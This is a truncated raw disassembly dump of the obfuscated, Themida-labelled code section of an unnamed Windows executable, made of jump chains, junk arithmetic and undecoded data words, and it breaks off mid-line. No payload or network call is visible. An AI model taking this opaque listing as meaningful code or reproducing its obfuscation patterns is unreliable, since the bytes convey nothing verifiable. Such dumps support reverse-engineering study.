CODE XREF: Themida_:0054A245j xor bl, 3Fh jmp loc_545F52 ; --------------------------------------------------------------------------- db 5Ch dd 0FF243C89h, 8B042474h, 0C483243Ch, 849FE904h, 205AFFFFh dd 2434FFF8h, 0FF96BFE9h, 3A0668FFh, 2C890000h, 0B596824h dd 0E9540000h, 1590h, 104C483h, 0BD555DEFh, 4, 32EE9h dd 0E0B25200h, 0FFD597E9h, 4077FFFFh, 0FFEA71E9h, 8EAC1FFh dd 56DAF742h, 0F55B5DBEh, 8BF20916h db 34h, 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 push eax jmp loc_54995E ; --------------------------------------------------------------------------- db 5Dh, 87h, 0Ch dd 0C8B5C24h, 32E2E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54A31A: ; CODE XREF: Themida_:00545F9Aj pop edx and eax, ebp jmp loc_546F8A ; --------------------------------------------------------------------------- dw 0E951h dd 0FFFFD647h, 0C3815B54h, 4, 4C381h, 1C870000h, 38B5C24h dd 1163E9h, 48F5C00h, 702EE924h, 0B652FFFFh, 5AF58889h dd 5966E800h, 80F4B753h, 0E3E9BFE7h, 29FFFF84h, 9E95FFDh db 0BCh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54A367: ; CODE XREF: Themida_:00546061j inc ebx sub esp, 4 mov [esp], edx mov edx, 138F0F14h shl edx, 5 add edx, 52066E4h and edx, 32141A39h push ecx mov ecx, 672D01A1h push ebx mov ebx, 768D7466h not ebx add ebx, 183D033Ah add ebx, 0BA37BA74h add ecx, ebx pop ebx jmp loc_545150 ; --------------------------------------------------------------------------- dd 42E9D730h, 29FFFF8Ch, 240C8BCEh, 4C481h, 0F2210000h dd 0FFCD2DE9h db 0FFh ; --------------------------------------------------------------------------- loc_54A3BD: ; CODE XREF: Themida_:0054A5DDj neg ecx neg ecx jmp loc_541463 ; --------------------------------------------------------------------------- dw 5158h dd 14093168h, 81415917h, 0F8CAE7E9h, 59C801BBh, 4B2DF829h dd 0E95B1B3Eh, 2EADh ; --------------------------------------------------------------------------- loc_54A3E4: ; CODE XREF: Themida_:0054C1CBj add ebx, ebp push dword ptr [esp] jmp loc_5437F6 ; --------------------------------------------------------------------------- loc_54A3EE: ; CODE XREF: Themida_:00545061j add edi, 4 sub edi, 4 jmp loc_54BF30 ; --------------------------------------------------------------------------- loc_54A3FF: ; CODE XREF: Themida_:00545C93j sub esp, 4 mov [esp], esp add dword ptr [esp], 4 pop edx sub esp, 4 mov [esp], edi mov edi, 613074DCh sub edi, 613074D8h add edx, edi pop edi push edi mov edi, 4 add edx, 300333EFh add edx, edi sub edx, 300333EFh jmp loc_547420 ; --------------------------------------------------------------------------- db 0B7h, 49h, 80h dd 0F828FAF7h, 83241C8Bh, 3F2C04C4h, 37D168h, 240C8900h dd 5072B252h, 0F60FB151h, 0FED1F6D9h, 1BFCE9C9h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54A466: ; CODE XREF: Themida_:00546C1Bj xor ebp, 0CF19B545h jmp loc_545E39 ; --------------------------------------------------------------------------- db 81h, 0ECh, 4 dd 89000000h, 8B58240Ch, 5455240Ch, 4C5815Dh, 68000000h dd 7ABCh, 0E9240C89h, 0FFFF8774h, 0E98159h, 0C15C2E77h dd 1BE908E1h, 87FFFFDAh, 3E9243Ch, 51FFFF92h, 0C181E189h dd 4, 71E9h, 6CE95C00h, 88000008h, 0C85BE9FEh, 0C181FFFFh dd 1, 2F41E9h, 2414F700h, 0B4B8505Ah, 251DF61Eh, 6BB36224h dd 0FFD887E9h db 0FFh ; --------------------------------------------------------------------------- loc_54A4E5: ; CODE XREF: Themida_:00544E3Ej add ebp, ecx pop ecx push 556Ah mov [esp], edx push 6713079Fh pop edx push eax jmp loc_5470BA ; --------------------------------------------------------------------------- dd 0E9028F64h, 0FFFF6E74h ; --------------------------------------------------------------------------- loc_54A504: ; CODE XREF: Themida_:0054B857j xchg ebx, [esp] jmp loc_545CCB ; --------------------------------------------------------------------------- dd 0F1D4E952h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54A512: ; CODE XREF: Themida_:00543261j add eax, [ebx] mov ebx, [esp] jmp loc_545591 ; --------------------------------------------------------------------------- loc_54A51C: ; CODE XREF: Themida_:00541935j sub edi, 362B8BAh sub edx, edi pop edi jmp loc_544763 ; --------------------------------------------------------------------------- dw 0E981h dd 4, 5C240C87h, 50240C89h, 123BA1B8h, 54E95745h, 50FFFF79h dd 0AD2F88B8h, 0FAB2356Ah, 0C201B4A2h, 0EAC28158h, 573CE032h dd 0B00B8C68h, 9350E926h, 8668FFFFh, 0E900000Ch, 0FFFF7356h dd 5FD2E581h, 0E581558Eh, 1F6A7EF9h, 5004EDC1h, 3C56A2B8h dd 7330E90Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54A586: ; CODE XREF: Themida_:0054C3BAj or eax, eax jz loc_548F66 push dword ptr [edi+1Ch] push dword ptr [esp] pop ecx jmp loc_54BFB8 ; --------------------------------------------------------------------------- dw 0C181h dd 580E07F2h, 0E981F101h, 580E07F2h, 240C875Eh, 3824248Bh dd 0C1E99CC1h, 0FEFFFF6Dh, 0E99C240Ch, 0FFFF6DB8h, 875EF229h dd 895C2414h, 5A542414h, 505CB951h, 85E927C9h db 0C6h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54A5D7: ; CODE XREF: Themida_:0054B1F8j push ecx mov ecx, 53B76D3Dh jmp loc_54A3BD ; --------------------------------------------------------------------------- dw 0C281h dd 4, 8704EA83h, 895C2414h, 53E9241Ch, 0FFFFFFB2h, 68582434h dd 38CDh, 0FF754FE9h, 31E95CFFh, 1FFFFC1h, 5DE95DEFh, 89000018h dd 533A68E2h, 4890000h, 87E7E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54A622: ; CODE XREF: Themida_:0054A7ECj shr ecx, 4 jmp loc_549262 ; --------------------------------------------------------------------------- loc_54A62A: ; CODE XREF: Themida_:00544212j xor ebp, ebx jmp loc_546D74 ; --------------------------------------------------------------------------- db 29h, 0DDh, 5Bh dd 31242C33h, 2C33242Ch, 3C895C24h, 4BF24h, 0C6810000h dd 1C845624h, 0EE81FE01h, 1C845624h, 52243C8Bh, 0C281E289h dd 4, 0FF9938E9h, 405FFh, 0BD550000h, 4, 875DE829h, 895C2404h dd 0BD242Ch, 0E9000004h, 0FFFF9999h, 4EE9E789h, 50FFFFD5h dd 0C44E3DB8h, 8487E92Ah, 0FA01FFFFh, 0FFD0015Fh, 0E95A2434h dd 0FFFFD00Dh, 2414895Ch, 0E95B5453h, 0FFFF93B3h ; --------------------------------------------------------------------------- loc_54A6B0: ; CODE XREF: Themida_:00548330j mov ebp, [esp] add esp, 4 mov ebp, [esp] jmp loc_54476A ; --------------------------------------------------------------------------- loc_54A6C1: ; CODE XREF: Themida_:00544ADAj push esi mov esi, 70733D4Dh or esi, 28160561h inc esi push eax mov eax, 7D34103Eh add esi, 28DB5A69h sub esi, eax sub esi, 28DB5A69h jmp loc_54D808 ; --------------------------------------------------------------------------- db 52h dd 0F28023B2h, 0B6FFE9CAh, 8B66FFFFh, 0F6E9241Ch, 56FFFF9Dh dd 0D6AE9h, 0B3535A00h, 0E9CBFE3Ah, 0FFFF8144h, 8D7C8EB9h dd 22C18127h, 5253A695h, 4C3B8ABAh, 703E930h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54A722: ; CODE XREF: Themida_:00545510j sub esp, 4 mov [esp], ebp mov ebp, 4 jmp loc_545A87 ; --------------------------------------------------------------------------- loc_54A732: ; CODE XREF: Themida_:00549458j push eax mov eax, 6F1B7BDAh sub eax, 61C1644h not eax not eax jmp loc_54598F ; --------------------------------------------------------------------------- dw 0EC81h dd 4, 0FFB1D8E9h, 0C8B66FFh, 20685124h, 6800002Ah, 21B0h dd 0FFC220E9h, 1DC580FFh, 0D6EB80h, 0D6C380EBh, 0E9240C8Bh dd 0FFFFAB7Eh, 4240483h, 8124048Bh, 4C4h, 6AB46800h, 34890000h dd 0B93BE24h, 62E90E62h, 81000029h, 4C4h, 2C08300h, 31240433h dd 4332404h, 0F09CE924h, 0F635FFFFh, 2544967Fh, 6AE1235Fh dd 83D2E948h, 0A5BFFFFFh, 53715E81h, 977CE952h, 0D366FFFFh dd 0E99C2424h, 0FFFF6BA4h, 0BD5E952h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54A7DA: ; CODE XREF: Themida_:00548CC5j push ecx mov ecx, 6F53445Fh add ecx, 73016694h add ecx, 2D7E68E5h jmp loc_54A622 ; --------------------------------------------------------------------------- loc_54A7F1: ; CODE XREF: Themida_:00546455j add ebp, eax pop eax xor ebp, [esp] xor [esp], ebp xor ebp, [esp] pop esp div ecx jmp loc_544AF7 ; --------------------------------------------------------------------------- db 5Ch, 89h, 4 dd 0A7B8E924h, 5A54FFFFh, 4C281h, 0E9530000h, 0A16h, 34FF7E04h dd 9057E924h, 0CB81FFFFh, 56D62114h, 675CC381h, 0EB811557h dd 9E003E5Dh, 1C8BD831h, 4C48324h, 5658C201h, 27426CBEh dd 0B5C3E97Eh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54A84E: ; CODE XREF: Themida_:0054A02Cj pop esp xor ecx, eax pop eax push esi jmp loc_54899C ; --------------------------------------------------------------------------- dd 0ABE9E801h, 87FFFFDCh, 8F5C241Ch, 248B2404h, 88FE924h dd 0E9560000h, 0FFFFBCA9h, 160E2D66h, 66C80166h, 66160E05h dd 81240C8Bh, 2C4h, 0B8665000h, 0C16654D8h, 46E906E0h dd 66FFFF71h, 66CCB60Fh, 66659268h, 66240C89h, 66C8B60Fh dd 0E1E99C51h, 0F6FFFFCBh, 0C0D6F6D6h, 0EE8006EEh, 8BF78899h dd 0C4832414h, 2CCE0404h, 4F80069h, 66CE2C69h, 51241C8Bh dd 0FF736FE9h db 0FFh ; --------------------------------------------------------------------------- loc_54A8D5: ; CODE XREF: Themida_:00546C6Bj shl eax, 2 xor eax, 1B4E2880h sub eax, 65BE24EFh add edx, eax mov eax, [esp] add esp, 4 push ebx mov ebx, 55FA02A9h jmp loc_54AD68 ; --------------------------------------------------------------------------- dd 1359E958h, 0BB2D0000h, 933A151Bh, 0D9E9934Bh db 92h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54A90B: ; CODE XREF: Themida_:00541DC5j sub ebp, 1A7918F4h add ebp, edx push esi push ecx push 64694B66h mov ecx, [esp] add esp, 4 sub ecx, 2D6F0F8Ah jmp loc_54B478 ; --------------------------------------------------------------------------- db 29h dd 1B8D2DC8h, 7FE9753Fh, 83FFFFAFh, 0C18104C4h, 2, 0E9240C33h dd 0FFFFA1E7h, 3BC7E181h, 0E9813EB8h, 0E8ABDFBDh, 0FFC93EE9h dd 58C289FFh, 0C15A5952h, 0E9C105E9h, 0D5C18106h, 1FFF563h dd 343359CEh, 24343124h, 8B243433h, 0C4832424h, 2434FF04h dd 582434FFh, 6804C483h, 0BC4h, 68241C89h, 4F04h, 24048F54h dd 4240481h, 5B000000h, 4BA52h, 0D3010000h, 4C3835Ah, 31241C33h dd 93E9241Ch db 15h, 2 dup(0) ; --------------------------------------------------------------------------- loc_54A9B7: ; CODE XREF: Themida_:005498AAj push edx mov edx, 21DC537Ch xor edx, 21DC5378h add edi, edx pop edx sub edi, 4 jmp loc_541ECF ; --------------------------------------------------------------------------- dw 0E781h dd 645A6A3Dh, 1AACE94Fh db 2 dup(0) ; --------------------------------------------------------------------------- loc_54A9DA: ; CODE XREF: Themida_:0054D8D7j sub [esp+4], eax sub dword ptr [esp+4], 587A0D41h jmp loc_54D7C3 ; --------------------------------------------------------------------------- db 1 dd 0F1BA52FBh, 556C694Ch, 3E00B850h, 0DA35315Dh, 4061AA5Bh dd 0FFD2D9E9h, 68FFh, 34FF0000h, 0AA685B24h, 8900006Bh dd 0E6892434h, 71A5BA52h, 0D2F76CE6h, 81D2F742h, 0E671A0F2h dd 0F6C6816Ch, 1665054h, 0F6EE81D6h, 0E9665054h, 1938h dd 240C8B66h, 7B0568h, 22B9E900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54AA4A: ; CODE XREF: Themida_:005414E6j xor ah, ch pop ecx add bl, ah pop eax shl bl, 2 add bl, 55h sub dh, bl pop ebx xor al, dh jmp loc_546E09 ; --------------------------------------------------------------------------- dd 434B050h, 344F2401h, 2C16E951h, 0C860000h, 10A8E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54AA76: ; CODE XREF: Themida_:00544EFBj pop esi jmp loc_545711 ; --------------------------------------------------------------------------- dd 4BB53h, 5C010000h, 0E95B0424h, 1CB8h, 52CDB050h, 0FFAD52E9h dd 4EC81FFh, 89000000h, 8B54243Ch, 3CE9243Ch, 0ADFFFFB8h dd 7D68D831h, 89000037h, 0BF57240Ch, 2FA94BF2h, 0DC24CB9h dd 5FF9294Fh, 9D53E981h, 0BA52101Fh, 49DE70F2h, 5708EAC1h dd 0CBE955h, 4280000h, 99E99C24h, 58FFFF68h, 0ECBA525Eh dd 0E96E865Eh, 0FFFFD5DAh, 24048156h, 1CB645C0h, 0C0BA525Dh dd 291CB645h, 348B5AD5h, 4C48324h, 0FF7905E9h, 48F5DFFh dd 0DC12E924h, 3C33FFFFh, 24248B24h, 8904EC83h, 0E789243Ch dd 0FFB1EDE9h, 2E2C1FFh, 6D6E9h, 68D6F700h, 531Ah, 1F58E9h dd 24048300h, 0A35BE904h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54AB42: ; CODE XREF: Themida_:005450D5j pop eax add esp, 4 add eax, 4 add eax, 4 jmp loc_545C22 ; --------------------------------------------------------------------------- dd 835EF501h, 2C8704C5h, 0C4815C24h, 4, 0FFB725E9h, 58F0DFFh dd 0E9406109h, 2179h ; --------------------------------------------------------------------------- loc_54AB78: ; CODE XREF: Themida_:0054500Cj pop esi pop edx xor eax, ebp xor ebp, eax xor eax, ebp jmp loc_548FD7 ; --------------------------------------------------------------------------- loc_54AB85: ; CODE XREF: Themida_:00545AF4j push edx mov edx, eax mov ebp, edx pop edx mov eax, [esp] add esp, 4 pop ecx pop edx and eax, ebp mov ebp, [esp] push edx jmp loc_541A77 ; --------------------------------------------------------------------------- db 0BDh, 8Ch, 4Ch dd 0EDC10516h, 0EBF58108h, 81467910h, 0ACB80EDh, 5DEF8907h dd 0FFFAD9E9h, 0F6664FFh, 686602B6h, 73E94265h, 66000003h dd 9C2424D3h, 0FF67A3E9h, 0F8015AFFh, 7396E955h, 0C681FFFFh dd 632C15CBh, 2DDC6858h, 3C890000h, 0B4FBE924h, 0C181FFFFh dd 4, 0FFA8D9E9h db 0FFh ; --------------------------------------------------------------------------- loc_54ABFD: ; CODE XREF: Themida_:0054568Ej xor eax, 17596778h mov ebp, eax pop eax add ebp, 5ABF04B2h shr ebp, 3 jmp loc_545550 ; --------------------------------------------------------------------------- db 83h dd 148904ECh, 56E28924h, 0FFCB77E9h, 0E9D1F7FFh, 0FFFF9A63h dd 448B6857h, 0C1E970BBh, 85FFFFBEh, 0C6E99CC8h, 0BDFFFF72h dd 30112571h, 0E95DEB29h, 0A2Fh ; --------------------------------------------------------------------------- loc_54AC48: ; CODE XREF: Themida_:00549E57j sub edi, 1FEE7434h add edi, eax add edi, 1FEE7434h sub edi, 23747E1h pop eax xchg edi, [esp] mov esp, [esp] sub esp, 4 mov [esp], esi push 5F7631BBh pop esi push ebp mov ebp, 74096CD8h add esi, ebp pop ebp push ebx mov ebx, 0D3779E93h xor esi, ebx pop ebx and eax, esi push dword ptr [esp] pop esi push esi mov esi, esp jmp loc_543631 ; --------------------------------------------------------------------------- db 68h dd 0F30h, 57240C89h, 0A559D6BFh, 0E753E93Bh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54ACA2: ; CODE XREF: Themida_:005492DEj pop edi add dword ptr [esp+4], 58C87A26h jmp loc_5419CF ; --------------------------------------------------------------------------- dd 42474FFh, 0E3BAE959h, 0D101FFFFh, 2C1815Ah, 51000000h dd 0FFFFE7E9h, 2434FFFFh, 0E924048Bh, 766h ; --------------------------------------------------------------------------- loc_54ACD4: ; CODE XREF: Themida_:005495C9j shl edx, 4 push eax mov eax, 3D97781Eh sub edx, eax pop eax jmp loc_54D57A ; --------------------------------------------------------------------------- loc_54ACE5: ; CODE XREF: Themida_:00545324j mov [esp], ebx push 343Fh mov [esp], esi mov esi, 0C472A7Ch sub dword ptr [esp+4], 17554B25h add [esp+4], esi jmp loc_54A0A8 ; --------------------------------------------------------------------------- loc_54AD06: ; CODE XREF: Themida_:005470E5j push small 721Dh mov [esp], dx push ax pushf jmp loc_541378 ; --------------------------------------------------------------------------- dw 0E5C1h dd 0E9DDF702h, 0FFFF972Fh, 8BD9895Eh, 73E9241Ch, 0FFFFFF91h dd 34FF2434h, 0D20DE924h, 2A68FFFFh, 0E9000031h, 0F0Fh ; --------------------------------------------------------------------------- loc_54AD40: ; CODE XREF: Themida_:00549BD5j mov [edi+eax*4], bh mov ebx, [esp] push ebx jmp loc_547391 ; --------------------------------------------------------------------------- dd 2BA92D59h, 0A12D14EEh, 2912D17Dh, 7DA105D8h, 0A90512D1h dd 0E914EE2Bh, 0FFFFB5AFh ; --------------------------------------------------------------------------- loc_54AD68: ; CODE XREF: Themida_:0054A8F3j sub edx, ebx jmp loc_54C570 ; --------------------------------------------------------------------------- db 5Ah dd 34E9CDFEh, 83FFFFD0h, 3C8704C7h, 24248B24h, 4E9C009h dd 50000026h, 0A5076CB8h, 24448131h, 0BA220304h, 24440105h dd 263D6804h, 0C890000h, 2203B924h, 4C2905BAh, 8B590824h dd 0C4812404h, 4, 6824048Bh, 6A0Dh, 89243489h, 3F6168E6h dd 0E4E90000h, 0C1FFFFEAh, 0E95308EDh, 0FFFFC006h, 0E9565F54h dd 0FFFF8744h ; --------------------------------------------------------------------------- loc_54ADDC: ; CODE XREF: Themida_:0054718Fj neg ecx xor ecx, 18590FF7h sub eax, ecx pop ecx sub eax, ebp add eax, 1D454016h add eax, 20F25966h push dword ptr [esp] pop ebp add esp, 4 push ebx mov ebx, esp push ebp mov ebp, 71055929h jmp loc_54602B ; --------------------------------------------------------------------------- dd 0BBh, 88CB0100h, 34FF5B03h, 240C8B24h, 245EE950h, 0CA010000h dd 0FF84E4E9h, 9FC281FFh, 0E91D7619h, 0FFFF66D1h ; --------------------------------------------------------------------------- loc_54AE30: ; CODE XREF: Themida_:00545E4Cj and dword ptr [edi+20h], 1067107Ah jmp loc_543A77 ; --------------------------------------------------------------------------- dd 89241489h, 4B951E2h, 1000000h, 0E95759CAh, 0FFFFDC16h dd 626D68h, 240C8900h, 1AE9E189h, 87000028h, 9AB951EAh dd 0F762D373h, 0C7C181D9h, 0E9234453h, 0FFFFA9CFh ; --------------------------------------------------------------------------- loc_54AE74: ; CODE XREF: Themida_:005492A1j push edi push esp pop edi add edi, 4 add edi, 4 xchg edi, [esp] pop esp push ebx mov ebx, 2E514776h jmp loc_543608 ; --------------------------------------------------------------------------- loc_54AE92: ; CODE XREF: Themida_:00546D75j add ebx, ebp pop ebp sub ebx, 4 xor ebx, [esp] xor [esp], ebx xor ebx, [esp] jmp loc_544C80 ; --------------------------------------------------------------------------- db 0ADh, 31h, 0D8h dd 0FFF5FAE9h, 0E9FB01FFh, 0FFFFD69Dh ; --------------------------------------------------------------------------- loc_54AEB8: ; CODE XREF: Themida_:00543D46j mov [esp], eax jmp loc_54D557 ; --------------------------------------------------------------------------- dd offset dword_4E204C+31Ch dd 92D0E900h, 0EBC1FFFFh, 0E8F38102h, 89744CAFh, 666AE9DAh dd 4968FFFFh, 0E9000045h, 0FFFF9E28h, 68243C89h, 620h dd 81242489h, 42404h, 815F0000h, 4C7h, 4C78100h, 57000000h dd 42474FFh, 237BE9h, 81DAF700h, 0E94759C2h, 5AD02912h dd 0A305E948h, 3489FFFFh, 4BE24h, 0F5010000h, 242C335Eh dd 33242C31h, 0FF5C242Ch, 0C8B2434h, 0C220E924h, 8966FFFFh dd 1BE92404h, 5800000Bh, 6032C381h, 0C3297ECAh, 6032EB81h dd 0EC817ECAh, 4, 0BF243C89h, 5A9A150Eh, 0FFDB3FE9h, 3A26B9FFh dd 0CF0123F0h, 0B40CE959h, 0FDE9FFFFh, 0FFFFFF63h, 669D1C77h dd 4196658h, 30E99C24h, 0FFFFFF7Ah, 59042474h, 3D5E9h dd 241C3300h, 33241C31h, 21E9241Ch, 0F7FFFFA2h, 1251E9D2h dd 0E9830000h, 240C8704h, 243C895Ch, 42474FFh, 0FFC304E9h dd 4C283FFh, 8B241487h, 0C7812424h, 4, 8702C783h, 665C243Ch dd 9C243CD3h, 0FF9082E9h, 4EC81FFh, 89000000h, 4BD242Ch dd 89000000h, 86C8E9E9h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54AFF2: ; CODE XREF: Themida_:005476A3j sub [edi+24h], edx mov edx, [esp] push edi mov edi, esp jmp loc_54D620 ; --------------------------------------------------------------------------- dd 8B1C5F21h, 0C483241Ch, 636AE904h, 0F789FFFFh, 0BCBA525Eh dd 125BE57h, 0DFF75AD7h, 23FCBB53h, 0F38111C1h, 7A661756h dd 0FFA3A9E9h db 0FFh ; --------------------------------------------------------------------------- loc_54B02D: ; CODE XREF: Themida_:0054190Cj pop eax or esi, ebx pop ebx jmp loc_548494 ; --------------------------------------------------------------------------- dw 77FFh dd 59669D1Ch, 9C2414D3h, 0FF6333E9h, 243C89FFh, 0D45E64BFh dd 82E4E90Ah, 0E589FFFFh, 4C581h, 0ED810000h, 4, 5C242C87h dd 55243C89h, 6F26BA52h, 30E925C5h, 83FFFFBEh, 148904ECh dd 4BA24h, 0D1010000h, 240C335Ah, 33240C31h, 248B240Ch dd 242C8124h, 3AC56285h, 2C242C81h, 1581E7Bh, 80682404h dd 8900005Fh, 2C682434h, 5E581E7Bh, 0FFF132E9h, 4BAFFh dd 54010000h, 595A0424h, 563FBE56h, 0DEF7782Bh, 445068h dd 240C8900h, 0F72235B9h, 0E9CE2957h, 0FFFFE38Bh, 8B66C830h dd 0EDE9240Ch, 66000013h, 5024048Bh, 6BE95854h, 0B8FFFF70h dd 4, 4244401h, 0FFF9E2E9h, 48B66FFh, 4EC8324h, 0E9243489h dd 0FFFFD510h, 28BBh, 8E7CE900h, 0C181FFFFh, 47F4C62h dd 5E9C15Eh, 69C18149h, 0E9FD3DEBh, 0FFFFDD50h, 0E610D40h dd 922D4992h, 0C14A9703h, 0DB3507E0h, 52030A03h, 0F85912BAh dd 81E2D16Dh, 0B8FBC5EAh, 7CEAE95Eh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54B152: ; CODE XREF: Themida_:00545C2Bj mov esp, [esp] imul ecx, eax jmp loc_5468C4 ; --------------------------------------------------------------------------- db 89h, 0Ch, 24h dd 0FF8A23E9h, 0BB535DFFh, 3D42173Ah, 0C381D3F7h, 3D42173Fh dd 0FF932CE9h, 63E581FFh, 0C112142Ah, 0F58103EDh, 659B1410h dd 0E95DE831h, 0FFFFA8D5h ; --------------------------------------------------------------------------- loc_54B190: ; CODE XREF: Themida_:0054B41Aj shl eax, cl jmp loc_541DB1 ; --------------------------------------------------------------------------- db 80h dd 0EA8066EAh, 5DF280B8h, 63B75366h, 0FFED03E9h, 0D2E95BFFh dd 49FFFFAFh, 0ADAF181h, 0F0E9F678h, 66FFFFF1h, 8124048Bh dd 4ECh, 243C8900h, 0FFFC07E9h, 24248BFFh, 9C2404D3h, 0FF71EDE9h dd 80FDB1FFh, 0E1C0BCC1h, 80C9FE06h, 0E1C0C1E9h, 192CE906h dd 85E90000h db 61h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54B1F3: ; CODE XREF: Themida_:0054BF67j sub eax, 20F25966h jmp loc_54A5D7 ; --------------------------------------------------------------------------- loc_54B1FD: ; CODE XREF: Themida_:00548EF5j pop eax jmp loc_54729E ; --------------------------------------------------------------------------- db 81h dd 9622F1E2h, 0ECEA8151h, 29DD41E2h, 0C0E95AD6h, 89FFFF80h dd 75E92424h, 58FFFF73h, 2333CF81h, 814F1857h, 51D04EEFh dd 0DBBFE911h, 75BBFFFFh, 55301125h, 0FFF9FEE9h, 24248BFFh dd 8B2434FFh, 14682414h, 8900006Eh, 0E6892434h, 4B850h dd 45E90000h, 8BFFFF67h, 0DCE92404h, 80FFFFBFh, 0EF80F3CFh dd 734FE901h, 0BD55FFFFh, 38D71F38h, 0E95DE801h, 3B9h dd 0D7A7EA81h, 0D629EE8Ch, 0C7BB535Ah, 14B9450h, 855CE9DEh dd 0F791FFFFh, 0D6E950D1h, 0FEFFFFF1h, 7752E9C6h, 34FFFFFFh dd 24048B24h, 7E6968h, 4BCE900h, 0F660000h, 5166C8AFh dd 60BAE99Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54B2BE: ; CODE XREF: Themida_:00543A42j mov ecx, 1AEB465Dh shr ecx, 2 xor ecx, 0DAA113C7h jmp loc_54B7C7 ; --------------------------------------------------------------------------- db 68h, 55h, 14h dd 5585540h, 0ABE9F304h, 8158C289h, 7222BEAh, 0E6BE560Ah dd 21784B02h, 0EAC15EF2h, 79B85004h, 54CF233h, 24641276h dd 0E958C221h, 0FFFF9CA8h, 0F6E9F000h, 0FFFFFFF3h, 0E9042474h dd 1FC2h ; --------------------------------------------------------------------------- loc_54B314: ; CODE XREF: Themida_:0054D471j pop eax push eax mov eax, 4B623C3Dh sub eax, 0DCCB29E3h jmp loc_54484E ; --------------------------------------------------------------------------- db 89h, 0E5h, 0E9h dd 0FFFF84A7h ; --------------------------------------------------------------------------- loc_54B32C: ; CODE XREF: Themida_:0054D139j pop esi jmp loc_549A11 ; --------------------------------------------------------------------------- dw 74FFh dd 8F580424h, 665C2404h, 68240C89h, 2199h, 0FF765BE9h db 0FFh ; --------------------------------------------------------------------------- loc_54B349: ; CODE XREF: Themida_:00548D83j mov [esp], esi jmp loc_54CB6A ; --------------------------------------------------------------------------- db 33h, 1Ch, 24h dd 0E924248Bh, 0FFFFEE45h, 33C1EB81h, 0F74B2B2Fh, 7471E9DBh dd 48FFFFFh, 1E7FE924h, 815F0000h, 4C7h, 4C78300h, 5C243C87h dd 109FB951h, 0F8E96579h db 0D6h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54B38B: ; CODE XREF: Themida_:00545D45j pop edx jmp loc_542E16 ; --------------------------------------------------------------------------- db 21h, 47h, 1Ch dd 5524048Bh, 242C8B54h, 5004C483h, 4B8h, 8BC50100h, 4EE92404h dd 51FFFFBDh, 4FC068h, 241C8900h, 0FFE1D9E9h db 0FFh ; --------------------------------------------------------------------------- loc_54B3BD: ; CODE XREF: Themida_:00546067j push edx mov edx, 124A7DF6h jmp loc_54B99E ; --------------------------------------------------------------------------- loc_54B3C8: ; CODE XREF: Themida_:0054599Bj xor ebp, 77F09949h add eax, ebp jmp loc_54D469 ; --------------------------------------------------------------------------- loc_54B3D5: ; CODE XREF: Themida_:00541837j sub edx, eax jmp loc_547056 ; --------------------------------------------------------------------------- aN1U?25h db '1ØU½',27h,'?25hÌ`',0 align 2 dw 2C89h dd 242C8324h, 70E95D01h, 55FFFFBFh, 5D2414F7h, 0FFC57AE9h dd 74FF50FFh, 8F580424h, 895C2404h, 8DE9242Ch db 0C8h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54B413: ; CODE XREF: Themida_:0054361Fj push ecx mov ecx, esi mov eax, ecx pop ecx pop esi jmp loc_54B190 ; --------------------------------------------------------------------------- db 1 dd 0DA03E9D7h, 1C8BFFFFh, 4EC8124h, 0E9000000h, 0FFFFFD29h ; --------------------------------------------------------------------------- loc_54B434: ; CODE XREF: Themida_:00543C89j pop edx jmp loc_547381 ; --------------------------------------------------------------------------- dw 0E957h dd 14BEh, 56241C8Bh, 0FF9696E9h, 1C875DFFh, 36E95C24h dd 0B2FFFFCBh, 5DEA8078h, 30D8EA80h, 24148BD1h, 4C481h dd 0ECE90000h, 0BEFFFFCEh, 6CBB77B9h, 0E907EEC1h, 0FFFF6952h ; --------------------------------------------------------------------------- loc_54B478: ; CODE XREF: Themida_:0054A926j neg ecx and ecx, 7EEC199Fh sub ecx, 16DAB5C0h jmp loc_54CC31 ; --------------------------------------------------------------------------- db 81h dd 44C248EEh, 0FB78E9E2h, 0C380FFFFh, 690AE9EEh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54B49E: ; CODE XREF: Themida_:0054159Cj pop edx jmp loc_543B1B ; --------------------------------------------------------------------------- dd 83241C8Bh, 506804C4h, 8900004Ch, 0EC81241Ch, 4, 68243489h dd 463Ah, 0BA241489h, 1D2715E9h, 4EC81h, 0C890000h, 89D18924h dd 685A59CEh, 1D2715E8h, 5EF3315Bh, 34FFD821h, 241C8B24h dd 0FFED5DE9h, 240481FFh, 4, 483C685Dh, 14890000h, 0CEE95024h dd 8FFFFFFDh, 895C2404h, 4832424h, 65E90424h, 2DFFFF5Eh dd 29853956h, 4C0835Dh, 8B240487h, 89532424h, 4C381E3h dd 83000000h, 1C8704C3h, 0BE95C24h, 58FFFFBFh ; --------------------------------------------------------------------------- push ebp mov ebp, esp jmp loc_549A3C ; --------------------------------------------------------------------------- dd 8852CF88h, 5AD488FAh, 0FFFED9E9h, 74FF57FFh, 8F5F0424h dd 815C2404h, 4C4h, 24042900h, 5E12E99Ch, 0F759FFFFh, 0DA3DE9D7h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54B56E: ; CODE XREF: Themida_:00542E50j or edx, eax shl edx, 1 push edx jmp loc_54704B ; --------------------------------------------------------------------------- aSs db '^éá"',0 align 2 dw 0C481h dd 4, 1B63C381h, 0D8890B0Ah, 77F2D5Bh, 0A42D6BF6h, 2D269349h dd 52954131h, 